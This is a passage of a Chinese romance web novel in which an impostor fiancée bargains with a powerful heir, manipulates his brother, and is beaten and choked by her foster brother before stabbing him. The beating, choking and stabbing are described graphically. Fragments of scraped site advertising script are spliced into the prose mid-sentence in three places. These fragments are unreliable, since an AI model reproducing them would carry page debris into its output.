江禧这才是真的慌了,快步走下楼,小跑到门边。 手搭在门把上的同时,外面传来匆促的脚步声,让她钉在原地。 “他到了。”周时浔倏尔打断她。 女孩明显还在状况外,下意识问:“周锡风?” “嗯,周锡风。”周时浔在抬步走近她,略微倾身,侧偏头凑抵在她耳边,弯唇,声线低迷地告诉她。 ——“你的,未婚夫。” 男人尾音落定。 钟摆跳秒。 别墅的门铃被来人按响。 8.你瞒我瞒 男人高大坚毅的身影笼罩着她,他们离得有些近,完全超出了“礼貌社交”的站位距离。 他身上浅微的茶调冷香变得极具攻击性,如他的人一般寡凉,清贵倨傲;如他此刻的口吻一般刻薄,戏谑刺人。 他压沉气音告诉她这个禁忌的称谓。近乎耳语,如此私密。让江禧有一瞬的恍惚。 恍惚中想起被他指尖划了下腰的那半秒。 恍惚中仍错觉腰后热度萦绕,滋生一点微妙的酥麻,向脊骨攀爬,滑下尾椎。 直到门铃乍响,骤然刺穿听觉神经。江禧猛地清醒,缓过点儿劲来,她立刻松开握住门把的手指,触电般收回来。 周时浔薄唇淡挑,后退开,懒散倒在门框上倚着,一手抄兜倦怠地低眸睨着她。 在她身上常有矛盾感体现。比如有时会有属于少女纯真的无辜,有时眼里又藏着许多不为人知的故事。 一部分简单,迸发野蛮生命力。 一部分成熟,时刻保持警惕性。 就像,分明横冲直撞跑来这里的人是她。 现在她又仰起头,用这样一双眼睛小心翼翼望着他,表情无措,又带着点委屈地问他:“怎、怎么办?” “什么。”周时浔哂笑。 “我们。”她说。 “我们?”他轻扬语调,反问。 江禧抿抿唇,似乎也听出他这句反问里的戏嘲意味。 的确,门外是她名义上的未婚夫。 而她却站在这里, 跟自己未婚夫的哥哥说,我们。 这是完全不妥当的。 不过,这个时候江禧已经顾不上这些了,她走上前两步,靠近他,放软声音乖巧地求助他说:“周先生,您帮帮我吧。” 是为了得到周时浔的撑腰,拿到周家掌权人对周黎联姻的助力,她今晚才冒着被周庆辉算计愚弄的风险来到这里。 才会费尽口舌与周时浔寻求合作。 不能功亏一篑。 无论如何,都不能影响她完成这单任务。 她必须拿到这笔钱。 想到这里,江禧忍不住伸出手,手指轻力捏住周时浔的西装袖口,焦灼又乞求的语气,向他讨怜悯:“拜托您…” “拜托我什么?”周时浔轻漫挑起眉,审视的目光徘徊在她脸上,透过她可怜楚楚的眼眸捕捉她的想法,剖析她,然后揭露她。 “你在害怕。”他眯起眼,“怕什么?” “我当然…当然是害怕阿风误会……” “撒谎。”周时浔低嗤。 男人缓缓站直身子,几近侵略性的气场逼压着她。他弯起手臂带起她的手,偏头,瞥了眼她死死攥紧他袖口的手指,示意她看,语气微嘲:“我并不认为,你把周锡风视为真爱。” 指腹被男人的鸢尾纹袖扣硌得生疼,江禧不由地梗了一下,这才惊觉自己有多紧张。 难怪会让周时浔起疑心。 她在怕什么? 或许以周锡风的脑子,即便见到她在他哥哥的别墅里,见到跟他们两个孤男寡女地待在一起,恐怕也不会联想到什么禁忌的伦理话题。 因为他单纯是个蠢货,江禧知道。 不可控的是周时浔。 她当然害怕。害怕周时浔真的拿出那张照片;害怕因此而彻底失去接近周锡风的一切可能;更害怕这个在周家拥有绝对话语权的男人一票否决周黎两家的联姻。 “感情可以慢慢培养,更何况,”江禧干咽了下口水,努力让自己的话更有说服力,“我比任何人都需要阿风,所以我不想他误会。” 这是实话。 她需要周锡风。 需要他,帮自己拿到这单任务的佣金。 可在周时浔听来,这个理由和她单薄的肩脊一样不堪一击。 从她指尖抓力抽走衣袖,周时浔低淡啧了声:“既然黎小姐不打算说实话……” 他稍稍拖长尾音,而后停顿在这里,勾唇,抬手搭上房门把手,在她惊悚恐慌的眼神里果决下压扳动。 “周时浔!”她惊叫。 但晚了一步。 房门朝外敞开。 潮闷溽热的室外空气刹那涌入。 女孩大惊失色,感受到心脏血液都加速泵搏。然而她近乎尖利的叫声在看清夜色下门外的男人时,转瞬僵顿。 哪里有周锡风的人影。 明明是他的下属,寸头男仲一。 “真不禁吓。”周时浔出言讽笑。 江禧气得想杀人,又不敢表现出来,只能质问又略带恼怒地瞪着周时浔,看起来更像少女的嗔怨。 仲一完全搞不懂眼前什么状况。被少女直呼老板全名的勇气吓到,进也不是走也不是,只能杵在那儿,尴尬对周时浔汇报说: “老板,容奥那边技术人来电,说后端收到【蜂声】外部受袭的故障警报,问是不是机身受损。” 江禧同情地看了眼寸头男,想不通他年纪轻轻为什么想不开,要跟着这么恶劣的老板讨生活。 周时浔懒挑眉尾,没什么情绪地“嗯”一声,侧低眸深意扫向江禧,下颌扬了扬,意有所指:“肇事者在这呢。” “?”肇事者说谁? 等等。 蜂声是什么东西啊? 机身受损? 感觉到身旁男人投过来一道视线,江禧若有所觉地扭头看向他,又顺着他的目光看到客厅地上的角落处。 那里躺着一架被她砸飞螺旋桨、还狠踩了几脚的, 黄色无人机。 “容奥的保密机型,按多少报损?”她听到周时浔忽然开口。 江禧立刻看向仲一,只见对方诧异愣住,动了动嘴唇似乎欲言又止。这时候又听到周时浔要求,“多少都应了,反正有人赔。” ?什么、什么意思? 不会是…… 江禧不自觉偷偷瞟向周时浔,不料蓦地跌入他好整以暇的眸底。女孩迟缓眨动了两下眼睫,半晌,指着自己磕绊惊道:“您、您不会是想让我赔吧!?” “不想赔?”周时浔兴致淡淡,转而命令仲一,“通知容奥,让他们把账单直接发给黎宏峯。” “别别别、别联系我爸!”江禧连说带比划地阻拦,情急之下紧忙妥协,“我赔,我赔就是了。” 周时浔没再出声,虚眯起眼瞥向手下。仲一很快会意,立刻接话道:“黎小姐,您……” “等一下!”江禧又突然打断他,像是想到什么,她转头眼神殷切地问周时浔,“周先生,能不能麻烦您先帮我垫上,我可以帮您做事,体力偿还。” 她直觉那架无人机绝对不便宜。 不能惊动黎家人。但佣金没到手,她哪有钱给,混了半天反倒欠下一屁股债,服了。 “你能为我做什么?”周时浔厌冷掀眼。 她能做什么。 江禧也在心里问自己。 ——想抵债,你能为他做什么? 对象是周时浔, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 所以这个命题很难,没错。 但也并非无解。 江禧认真思考了一会儿,半晌后,她蓦然抬起睫,黑眸闪动着剔亮晶莹的光泽,出其不意地来了句: “我可以做您的人。” 周时浔:“?” 仲一:“!” 他这是听到了什么。 发觉男人素来冷漠的神情出现一丝龟裂,江禧这才意识到自己说了多么令人遐想的话,连忙摆手,解释道:“我的意思是,我可以做您安插在叔叔身边的人。” “你想去监视周庆辉?” “怎么能叫‘监视’呢,给你带个话而已。” “商场上的生意我不懂,不过,只是做个简单的传话员我想完全可以胜任。”担心周时浔拒绝,江禧朝他指了指自己手机,“我的能力您刚刚已经看到了,不是吗?” 她是指给周时浔听的那段录音。 “就当无人机的价钱分三期好了。我帮您追踪叔叔三次,就跟您两清,怎么样?”女孩弯起嘴角。 “不怎么样。”周时浔腔调散漫,薄唇略弯,喑沉声线苛刻得不留情面,“如果你不能带来有价值的信息,就要加付双倍的利息,想好了?” ……奸诈资本家! 可眼下她没有别的办法。毕竟周时浔手里,还捏着他们在楼梯上那张有悖伦理的暧昧照片。就算她不答应,他也一样可以用照片作为驱使她做事的把柄。 与其被威胁,不如先发制人。 “我有两个需求。”江禧这时提出。 “为了更高效地帮您做事,首先我需要一名专业的、严格但温柔的粤语老师。” 周时浔淡睨她一眼,不置可否。 “还有。”她转身走近男人面前,朝他摊开掌心,“您得把阿风的车钥匙还我,不然,我现在就要被赶出周家了。” 谁知周时浔倏地低头笑了,眉峰冷峭,唇角勾弯的弧度嘲弄感浓烈,视线深锐地凝住她,问: “黎小姐究竟是担心被赶出周家,还是,担心跟周锡风约会失败?” “?您又是怎么……” 知道的。 她想这样问。 但还用问吗? 不必。 聪明的女孩子只需稍加回想,就能三秒破题。 难怪她跟周锡风那天早上的谈话内容会被周庆辉知道,原来他派人去了【普蘭佩】。 因为那天周时浔也在。 啧,有钱人的家庭还真是毫无半点隐私可言。 江禧露出笑容,她轻轻挑了下眉尖,故作感慨,语调怪里怪气道:“看来叔叔真的很重视您,把您当做自己最强有力的竞争对手呢。” “你想说什么?” “我想说您大可放心,叔叔有人,您也有人。”月下光影中透出她纤细柔韧的身线,女孩眼尾笑弯,注视他的眸光耀闪着灵动又野性的光芒,这样告诉他, “比起他安排在您身边的那些虾兵蟹将,我手脚利落,记忆力好,谋定而后动,所以我会比他们所有人做得都好。” “爱去就去。”周时浔低斜眸蔑她一眼,扯扯唇,转身离开前只扔给一句淡讽, “只怕你接近容易,脱身难。” 江禧被留在原地,目送着男人漠然矜傲的背影,她撇了撇唇,心里觉得很不服气。 然后一个转念,才猛然想到: 不是,车钥匙呢?刚才就这么被他轻飘飘把话题揭过去了,那车钥匙他到底给是不给啊!? 9.让一切随风 江禧接连等了三天,都没等到周时浔还车钥匙。她时间有限,在周家待的每一天都非常宝贵,耗不起一点,这让她不得不开始绞尽脑汁地想别的办法。 这下可倒好,钥匙没拿回来,合作也谈了个寂寞,甚至还要给周时浔那个资本家做免费劳动力。 又是【普蘭佩】二楼,江禧把手里荔枝壳恨恨地丢进垃圾桶,趴在餐桌上,有些烦躁地抓了抓头发,叹气:“到底怎么才能骗周锡风那小子约会啊……” “哟,这么想跟我约会呢?”身后突然响起一道吊儿郎当的男声,接下她的自言自语。 江禧立马坐起来,扭头望过去,看到周锡风正散漫瘫靠着沙发,双腿交叠搭在木柜矮方几,一派痞气地缓慢吐了口烟,眯眼盯着她看。 完了,江禧心里顿时警铃大作。 知道这小子来找茬了。 果不其然,下一秒周锡风收回长腿,掐了烟,起身,大步迈开朝她走过来,站近她身旁开口就是:“钥匙——” 他没能说完。 准确来说,是江禧没让他说完。 他刚要张嘴说话,一颗饱满柔软的荔枝果肉旋即被塞入口中,周锡风几乎下意识咬住,脑子还有点没反应过来,怔愣愣地看着江禧。 “早上好呀,阿风。”江禧瞬间牵起嘴角。 她坐在那里上身前倾,一张漂亮脸蛋凑到他跟前,抬起手,冰凉指尖戳了下果肉推入他嘴里,又轻轻抬起他的下巴,帮他合上唇。 歪了歪头,她问:“甜吗?” “甜。”他本能回答。 女孩的声音很甜,腻软,水分充沛。 就像,口中的荔枝。 “听说是今早刚刚空运来的。”江禧手伸到他唇前,示意他将果核吐出来。 原来她问的是荔枝。 周锡风骤然回过神,皱了下眉,一把打开她的手,偏头直接将完整的荔枝果肉吐进垃圾桶。 随即抬高声音,语气尖锐得更像掩饰某种程度的心虚,“我最讨厌吃这种东西。” 讨厌?怎么可能。 黎家给的资料上清晰写着他最爱吃荔枝。 狗东西一大早又抽什么疯了。 江禧心里骂得有多脏,脸上就笑得有多甜,“吃过早餐了吗?” “别转移话题。”周锡风略显别扭挪开视线,打断她问:“交代你的事情办好没有,车钥匙。” “……”该来的躲不掉。 正当江禧头脑风暴该如何搪塞他时,目光躲闪间,她突然眼尖地瞧见周时浔手下的寸头男走上楼来,“早啊仲一!”她扬声喊道。 仲一应声走过来,颔首:“二少爷,黎小姐,早晨。” 江禧:“这么巧,你也来吃早餐吗?” 嘴上这么问,但预感告诉她: 不,要是她没猜错,他八成是来替周时浔传话的。 她的预感非常准。 “老板让我来给二少爷送钥匙。”话是这么说,可仲一却拿出车钥匙转头递给了江禧。 周锡风:“?给她干嘛?” 仲一不紧不慢道:“另外老板的意思是,二少爷今天起可以出门,但外出时最好带上黎小姐一起,这样有利于两位多培养一下感情。” “搞什么,我要出门凭什么还带上她??”江禧还没来得及出声,周锡风先炸了,甚至换了粤语表达质疑, “你有冇搞錯?我大佬真系甘講?” (你有没有搞错?我大哥真这么说?) “是的,二少爷。” 依照江禧对周时浔的了解,这么委婉客气的说辞绝不是他的原话,更像是经过仲一润色后的。 所以,周时浔这算是答应给自己撑腰了吗? 江禧忍不住心中暗喜,又怕周锡风发现端倪,悄悄压下嘴角,一秒佯作表情为难的样子,假意帮腔道:“可是阿风很多场合的确不方便带我一起……” “老板的原话是,”仲一回答得没什么犹豫,“不方便,就都别去。” 对嘛,这才是周时浔会说的台词。 仲一刚离开没多久,周锡风一脸狐疑地歪头看着江禧,眉头紧锁,盯着她打量半天,问:“你什么时候跟仲一这么熟了?还有,你是怎么从我大哥……” “阿风,我们走吧。”江禧猝然截断他的话。 男生被成功转移注意力,“去哪?” “在家待了这么多天,你不出门放松一下吗?”江禧扬手将车钥匙抛给他,眨眼道, “大哥说你想出门必须跟我一起,我当然知道你不愿意,那你就送我去个地方吧。” 没等周锡风说话,她拎包从餐椅上站起来,拍拍他的肩说:“到地方我会下车,然后不打扰你,我们各玩各的。” 追男人,也学像放风筝一样。绳子拽得太紧了,物极必反,容易断。 这个时候,该以退为进。 “送你去哪?”周锡风不屑嘁声,“送你去找前男友,还是送你去找那个男小三?” 所以,瞧,这就是效果。 “去找我父亲。”江禧奇怪地看他一眼。 周锡风哽住。 这时候江禧低头从包里拿出一封邀请函,打开翻过来给他看,装着无辜: “我们家今天在【和埔太古裡】办新品展销会,我要过去帮我父亲接待。原本他也有邀请你,但我知道你肯定不会去,所以提前帮你拦下来了。” 说着她弯指弹了下受邀人上,他的名字。 不知为何,见到女孩一副“我做得好吧,夸我”的表情,周锡风就没由来地心里不爽。 “去,为什么不去。”他一把从她手里夺过邀请函,冲她晃了晃,偏跟她唱反调:“我倒要看看你父亲今天打算拿什么招待我。” 女孩看上去有点无奈,“哦”了声说:“那走吧。” 结果一转身,细长眼尾勾翘起,慢慢露出笑容。 幸好啊。幸好她早早做着万全的准备,从黎贝珍的父亲黎宏峯半个月前把这封邀请函交给她,要她务必把周锡风带去展销会场,她就时刻把它带在身上。 今天是最后机会,原本想着周锡风要实在不肯去,她只好去汪氏那里哭哭啼啼装可怜,这回反倒省事了。 / 地处港岛中环CBD内的【和埔太古裡】,环九江弧形大型购物中心,与中环最高甲级写字楼【瑞金大厦】,以及三角金字塔【姝纪娱乐】并称港城三大地标性建筑。 全部,都是周家的产业。 为了能跟周家扯上关系,黎宏峯也算下血本,砸了重金才在【和埔】露天江景台包了个半天的场。 周锡风跟江禧开车赶到【和埔】外场时,黎氏的展销会已经快开始了。临下车前,江禧突然提出两人就在这里分手,各自单独进场。 “怎么?”周锡风不懂她又玩什么花样。 “为了搞起阵势,我父亲请了不少港媒记者,如果拍到我跟你同时进去,明天我们就要一起上头条了。” 江禧叮嘱他,“所以你等下也别上去露脸,如果想见我父亲,中场休息的时候我带他去后台见你。如果觉得没意思,你可以先走。” 周锡风冷嘲一笑,忍不住讽她:“要真跟我一起上了头条,你,还有你父亲都应该很开心才对 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “但你会更讨厌我,不是吗?”她转头看他。 “前几天还对我死缠烂打,现在又在这里假惺惺地装什么呢?”周锡风讥诮地嗤了声,咄咄逼人, “不想我更讨厌你,就去告诉你父亲别再做跟联姻的美梦,然后今晚回去收拾东西,离开我家。” 他想当然以为江禧又会像之前一样,努力讨好,用心巴结,然后随便扯个其他的话题糊弄过去。 但是没有。 这次,江禧竟然什么都没说。 半天没听到旁边有动静,周锡风转头瞥向她。 江禧不属于传统意义上明艳开合的漂亮。 她的美十分特别。特别在她薄齐刘海下,生了一双细长单眼皮,眼角微垂,隐约透出恹恹的阴柔,上翘的眼尾又平添两分反叛的野感。 她低头沉默了好一会儿,然后重新抬起眼睛,认真凝视着他,问:“你真的希望我这样告诉父亲吗?” 周锡风明显被她问愣住。 毕竟他只是那么顺口一说,并没有多想。 “你真的想我走吗,阿风。”她又问。 周锡风不自然地别开视线,“我让你走你就会走?” 她会这么听话? 他才不信。 “如果这样会让你感觉更轻松一点的话。”江禧轻垂眸,长睫在眼睑投下淡淡阴翳,她说,“我可以替你向父亲传达。” 说完,不再等周锡风说什么,江禧转身开门走下车,独自朝【和埔】的大门走去。 周锡风没有立刻开车走,他停在原地,若有所思地望着女孩渐渐走远的薄瘦背影,竟莫名会觉得她看起来,好像有些恹恹孤独的沉郁感。 可他看不到的是,江禧此刻早已一扫刚才脸上的委曲求全,翻着白眼在心里狂骂周锡风。 只是演技加持跟他博个同情罢了。 想让她走?想得美。 不过话说出去了,江禧觉得自己确实需要思考一下接下来该做什么攻略计划。 【和埔】本就人气鼎盛,加上又是周末,几乎电梯间都排满了人。江禧不想等,索性去爬楼梯。 刚推门走进安全通道,手机忽然来了通电话,江禧扫了眼来电显示,竟然是周家兄弟的祖母,汪氏。 “奶奶,怎么啦~”江禧换上甜腻语气。 那边传来汪氏宠溺的声音:“阿珍呀,我听说今天你父亲那边要在【和埔】办展销会?” “对呀奶奶。”江禧抬步走上楼梯半中央,应道。 “那场合应该不小,这种时候,阿风原本应该陪你一起过去的,顺便去拜访一下你父亲。” 汪氏轻叹了口气,“但是那臭小子又惹了事,被他大哥关在家反省,不过你放心,我已经让阿浔赶过去【和埔】找你……” 汪氏话没说完,眼前骤然投下一片阴影。江禧下意识抬头,显然是属于一名成年男性的身形体态,可还来不及看清对方长相,腹部旋即一阵剧烈疼痛。 “嘭——!” 江禧被来人一脚踹下楼梯,身体霎时失去平衡,后背狠戾后撞在墙上,瞬即又摔落回地面。 手机跟着掉在台阶。 下一刻,一只苍白有力的手将她的手机捡起,按下红色键,电话挂断,关机。 然后男人缓步迈向蜷缩在地的女孩,站定,半蹲下身,一把狠力抓起她的头发,逼迫她昂起脸对上他的眼睛。 “这么久不见,不想我吗?”他伸手死死掐住女孩的脖子,看着她,阴恻恻地讥笑了声,手上力道越箍越紧。 “嗯?”半晌,叫出她的名字,“江禧。” 10.无名分老公 “你怎么伤成这样?!” 后台贵宾室,黎宏峯猛地见到江禧这副样子时,被吓了一大跳。 她的确伤得有点狼狈。 嘴角红肿渗着血,头发凌乱缠结,脖子上被扼掐的醒目指痕极为刺眼,胳膊、腿上到处都是黑青的淤肿,衣服上甚至还染了血。 “你碰上歹徒了?”黎宏峯又问了一遍。想不通光天化日的在商场里能遇上什么危险事,至于受伤到这种程度。 江禧带上门,走到他对面的沙发坐下。抓了两把乱糟的头发随意理了理,露出半遮在刘海下的一双单眼皮,透着几分力倦神疲的颓丧感,恹恹的,很沉默,脸上也没什么表情,与少女平日里元气鲜活的灵动气质判若两人。 她缓了缓,半天后才开口,语气带着点冷:“孟嘉基。” 江禧眼里闪过一丝明显的厌恶。 “你养母的儿子?”黎宏峯几乎没思考,脱口而出,“还真是小看了这个混吃等死的扑街仔,居然能摸到这里来。” 江禧眉毛微挑,没立刻接话,反而抬起眼睛似笑非笑地看向他,话里落下似有深意的调侃:“您倒是把我查得一清二楚。” 当初谈任务时,她的确告诉过黎宏峯让他多留意孟嘉基,必要时要上手段阻拦他出现在自己身边,以免在周家人那里露出破绽影响任务,因小失大。 但,她只说孟嘉基是吸血妹妹的赌鬼。 可从没提过“养母”这回事。 看来是表面上说着对她有多信任,实际根本不信,背地里早就对她的背景底细了如指掌。 不过黎宏峯也算坦荡,没有硬生生地强行转移话题,只愣了下,随即爽朗一笑缓解尴尬,普通话语调生涩: “小江啊,黎家现在这种情况你也清楚,我要对你足够了解,确保你有能力顺利完成任务。” 黎家是早一批做物流起家的。 后来资金溢出就本家脱离,据说在粤珠区豪掷上亿包下几万亩地,租给内陆几大名头正盛的快递公司做大型快件中转站。本家集团开始转向其他行业,尝试多元化发展。 但不是每个家族企业的多元化发展道路都能像周氏那样,一路高歌猛进,如鱼得水,在每个行业从新贵到黑马,最终一举成为领军巨头只需飓风过境般不过朝夕。 赔赔赚赚,最终黎家发展可观的项目有限,今天举办的医美新品展销会算其中之一,也算所有产业中前景最漂亮的。 今年黎氏旗下的医美公司面临上市。 连江禧这种门外汉也知道,这代表黎氏需要大量资金入驻,金钱竞技云谲风诡,上得了发达,上不了破产。 所以周家的态度至关重要,非常重要。 见江禧又不说话了,黎宏峯眯了眯眼,商人的精明头脑让他十分懂得审时度势,他放松口吻,给江禧递了个台阶: “毕竟对方是周氏,我们的计划相当冒险,我也是出于家族利益考虑,这点希望你能理解一下。” “理解,您是金主,合法范围内的行为我没意见。”江禧笑了声,眉眼间的冷意逐渐褪却, “那您现在觉得我能力够吗?” “小江你这话说的,”提到这个,黎宏峯脸上露出满意笑容,拖着港腔调子的长长尾音,“这么短的时间,你就能把周锡风那种心比天高的少爷搞来,你的能力毋庸置疑的啦。” 天知道听到周锡风今天要来,黎宏峯有多激动,那个瞬间连公司成功上市的酒会晚宴在哪摆都想好了。 江禧却不像他那么乐观。 低头看了眼时间,距离她从周锡风车上下来两人分开,已经过去四十分钟了,到现在还迟迟不见他出现。 狗东西,该不会真走了吧。 “我不确定他会不会来,只能赌一把。”江禧从包里拿出湿巾,一点点仔细擦拭手指上的血迹,坦白道, “如果二十分钟内他不到,就说明我失败了。” 黎宏峯一听这话,眼尾纹夹藏的笑意当即僵住,“你应该清楚,我今天让你必须把他带来现场的目的。” “为了今天,新品展销会我提前办了,【和埔】的露天观景台一小时几十万我包场了,还有记者,能请的我也都请来了。” 说着,他转头从保险柜中取出一个绿丝绒盒,放到茶几上,手指敲了敲盒子,推去她面前,“舞台、观众全部到位,现在万事俱备,就差一个周锡风,懂吗?” 江禧拿过盒子,打开,轻轻垂下眼帘,毫无意外地看到里面是一对玫瑰金小冰块对戒。 “礼物我可以送。”她盯着眼前这对戒指,说,“婚,我也可以求,毕竟这是需要您另外给我加钱的。” 江禧捏着那方绿丝绒盒,有一下没一下地懒散转动着,若有所思道:“但依照目前我们之间的关系进展,他一定会当众拒婚。” “当然,丢人我是不怕的。”她没什么在意地弯起嘴角,仍然望着盒子里的情侣对戒,话锋突转, “问题是明知道被拒绝还要求就不是请求了,叫强求,这种性质跟骚扰没什么区别。何况周锡风的性格您应该比我清楚,他绝对是最烦这些的。” 江禧在这时掀起眼睫,从对戒上撤走目光,凝向坐在对面的中年男人,字句平和地问他: “即便如此您还是要我求吗?哪怕周锡风当众拒婚,这对您整盘计划也没有丝毫影响吗?” 黎宏峯陷入了片刻沉默,说:“我的确没抱希望周锡风会同意。但就算他拒绝,舆论一出,在各界看来我们与周家已经成功形成了牵扯关系。” “ 那么我可以理解为,您的计划是利用舆论造势,借助周氏的名气让各界投资商纷纷下注黎氏,赌周黎两家究竟会不会联姻,而大家押下的筹码就是您这次公司上市的资本。” “聪明。”黎宏峯赞道。 所以“狸猫换太子”的计划这样冒险,黎宏峯当初也绝不是随便选人来做的。江禧身上具有令他相当赏识的东西存在。 除了这个女孩与自己女儿的确长得八分相像。 除此之外,在他们当初第一次谈话时,黎宏峯就很明显地觉察到这个女孩思维节奏运转极快,说话逻辑条理清晰,眼神足够坚定,做事计划缜密的同时,胆大心细。 “您觉得,我都能想明白您的目的,周家的人会想不到吗?”江禧这时出声打断他的思绪,“周锡风就算了。” 她笑着挑了下眉尖,“可周时浔呢?” “周时浔?怎么突然提到他?”黎宏峯顷刻面部紧张起来,眯眼注视着江禧观察她,问,“你在周家跟他接触过?” “打过两回照面,没什么接触。” 与周时浔的几次纠缠都是意外,完全不在她的计划之中,也只能靠自己应对,江禧讳莫如深,不打算往深里说。 只云淡风轻地揭过:“您放心,我时刻记着您叮嘱过让我不要靠近他,能避则避。” 听到她这样说,黎宏峯的表情才放松了下:“没错,惹谁都千万别去招惹他,否则你绝对讨不到半点好处。记住,以后哪怕在周家不可避免地见到,都务必要绕着他走。” 提及周时浔,女孩很自然地回忆起与他前后几次的交手经历。 她亲眼见识过,那个男人斥足绝对威慑力的阶级压迫感,他不可一世的气度,冷漠,强权,松弛又傲慢; 他看人像看一片垃圾的眼神,高贵睥睨,如此低蔑;以及,他冷嘲讥讽的口吻听起来就很适合用反问句式。 “周时浔。”江禧低头轻笑,“确实非常不好惹。” 黎宏峯摇摇头感慨:“不要说你这么年轻的小丫头了,就算混迹商界几十年的老狐狸,照样不够他玩。” “您也会怕他吗?”江禧笑问。 “我?”黎宏峯不由地笑哼了声,“实不相瞒,我甚至还不如你这个小丫头,直到如今我都没机会见那位一面。” 江禧也跟着笑起来。 这时候,黎宏峯像又想到什么,坐正身子,渐渐收起嘴角笑意,说:“小江,你要继续紧张起来,算算日子,离我们当初约定的期限可不远了。” 当时她与黎宏峯约定的时间是半年。 虽然江禧住进周家的时间并不长,但实际上来算,从她接下这个任务到现在,满打满算也快将近四个月的时间了。 头三个月,她在黎宏峯的安排下进修。 每天需要学习的东西非常多,学习西班牙语入门,学习跳华尔兹,学习了解一切高端奢品与上流社会那一整套虚与委蛇的酒宴礼仪。同时还要将周家相关的一切档案资料熟记于心。 准备好一切,正好赶上周老先生的葬礼。 之后她入住【遊園】。 再到今天,距离最后期限还剩下不到两个月的时间,的确不远了。 任务完成,按照协议约定时间一到,黎宏峯保证全款打到江禧账户,那么江禧迅速抽身打包走人,从此在港岛、在周家人面前彻底消失,绝不再出现。 而如果到约定的时间,任务没有任何进展或周锡风对这门婚事依然抗拒抵触,那么佣金取消,江禧走人。 江禧再次低头看向绒盒里的对戒,指尖轻轻滑触戒指边缘,反复蹭磨,良久,她红唇略弯:“黎先生放心,我每天都数着日子过呢,在这件事上我的着急程度绝不必您少。” 这是真话,黎宏峯信。 谈话结束之前,他看着江禧这身伤,问她:“虽然周锡风那种金贵少爷,肯定只走VIP固定通道,但为了万无一失,商场拍到孟嘉基的监控用不用我找人处理掉?” “不用,这里是周家的地盘,无端少一截监控录像反而更引人怀疑。”江禧说,“反正周锡风也没看到他。” “说得对。你虽然年纪小,做事倒一向谨慎。”黎宏峯抿了口茶,笑着夸她。 江禧擦了下唇角的血迹,看了眼指腹,舌尖小心舔了舔腮帮内侧,半天却来了句: “但是周时浔看到了。” “噗——”黎宏峯一口茶吓得全喷了,“……谁?你说谁?!” “您没听错。”江禧给他递张纸巾。 黎宏峯这时候可顾不上擦了,“什么意思?他为什么会看到?你不是说跟他没什么交集吗??” 江禧默了下,慢慢放下手里的戒指盒,轻抬下颚看向对面的中年男人,眼底血丝掩不住疲倦,但声线还算平和。 她说:“我从楼道跑出去,正好撞上他了。” …… “这么久不见,不想我吗?”孟嘉基死死卡住女孩的脖子,看着她,阴恻恻地讥笑了声,手上力道越箍越紧。 “嗯?”半晌,叫出她的名字,“江禧。” “我的好妹妹。” 小腹遭受猛击,传来难以忍受的沉闷痛感,肩胛骨大力砸撞向墙壁,震得五脏六腑有种移位的错觉,连带整片后背几近麻痹,让她好半天都动弹不得。 有多久没有尝过这样濒死的痛苦了? 其实也没有很久。 半年而已。 所以江禧对这种痛苦并不陌生。 毕竟在过去的十八年里,这种痛苦已经无孔不入地融在她的生活里,像钟表跳秒一样自然,比三餐四季更寻常。 江禧闭了闭眼,脖颈被掐钳让她呼吸愈发急促,血液加速激涌,胸腔闷涩起伏,身体出于生理性止不住颤动。 所幸头皮针扎般的尖利扯痛让她不得不清醒。她艰难移眸,对上男人阴狠的目光,声音是虚弱,体感窒息, 但嘴比男人的拳头硬:“你的开场白还是这么油腻又恶心。” 还能嘲讽弯唇,骂:“没长进的烂货。” “我确实没长进。”孟嘉基冷哼一笑,也不怎么恼,抓在她头上的手掌松了下力,又反手一巴掌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 甩她脸上, “你倒是长进不少,藏在这里勾引有钱人家的少爷,让我从内地大老远跑过来一顿好找。” 江禧被打偏过脸,垂头半伏在地上,黑色长发半空中被动划甩出轻飘弧线,又落回腰下,像一张繁茂深暗的罗网织缠在她身上,完全遮住她,笼罩她,囚困着她。 她逃不出这张网。 她只有继续挨打。 孟嘉基站起来,将她堵在墙角拳脚相加,从一边拖到另一边,每一脚踢踹都绝不留情,每一脚踩踏都非常尽力。 江禧也尽力。 尽力不出声,不求饶,不退让。 没人比她更清楚,暴力下的哀叫与挣扎就像效果强烈的助兴剂,只会让施暴者兴致昂扬,停不下,要尽兴。 那么后果可能是她会被活活打死。 孟嘉基还在边踹边骂:“你日子过得舒坦啊,手机换新的,衣服穿贵的,出街坐豪车,都他妈能穿金戴银了?” “吃香喝辣的时候怎么不想着给你哥一口啊?!” “养你不如养条狗,吃里扒外的贱货!” “爬上富二代的床就这么爽?爽得都让你忘记自己姓什么叫什么了,还真拿自己当富家名媛了是吧!?” 富家名媛也不是好当的呢,江禧吃力地暗笑。 她还是闷不吭声地忍。直到孟嘉基也觉得没意思,因为江禧不会给他任何反应,让揍她这件事跟鞭尸没什么本质区别。 于是他停了,蹲下来,低头沉了口气后,伸手一把卡住她的后脖子,逼她抬头,邪里邪气地讥笑道: “我还真是没咱妈厉害,你更怕她,是吧妹妹?” 地上的女孩肩骨打了个颤。 是到这刻,听他口中提及母亲这一刻, 江禧才真正有了反应。 她慢慢从地上坐起来,吐了口血水,靠上墙,仰头拨开黏在脸上的发丝,薄薄的单眼皮垂着,下颚高扬,倦恹地睨他。 她在妥协了,问:“要多少。” 孟嘉基这才觉得有趣,来了兴致,装起善人:“钱?妹妹,你也别太瞧不起你哥,那可是你床上辛苦赚的,我没脸拿。” 江禧背抵着墙,疲累地垂头缓喘了下。 再重新抬起眼,左手无声伸到背后紧身裤兜里,摸到一把细短的铝制美工刀,紧紧握在掌心,拇指抚过尖锐那头。 极力掩下眼里那丝明显的情绪波动,江禧深深看着他,声音虚哑,又问:“那你要什么。” “我要…”孟嘉基顿了下,笑,“我要让咱妈来看看你,看看她女儿现在这副珠光宝气的高贵模样,她可是很想你呢,天天吵着闹着让我带她——啊!!” 他突然一声惨叫。 是江禧没让他说完。 转瞬从身后兜内掏出美工刀,退出利刃,对准他左侧肩膀一刀扎下去,又快又狠,眼色坚定无畏,警告他: “那女人敢出现,我捅的可就不是这里了。” 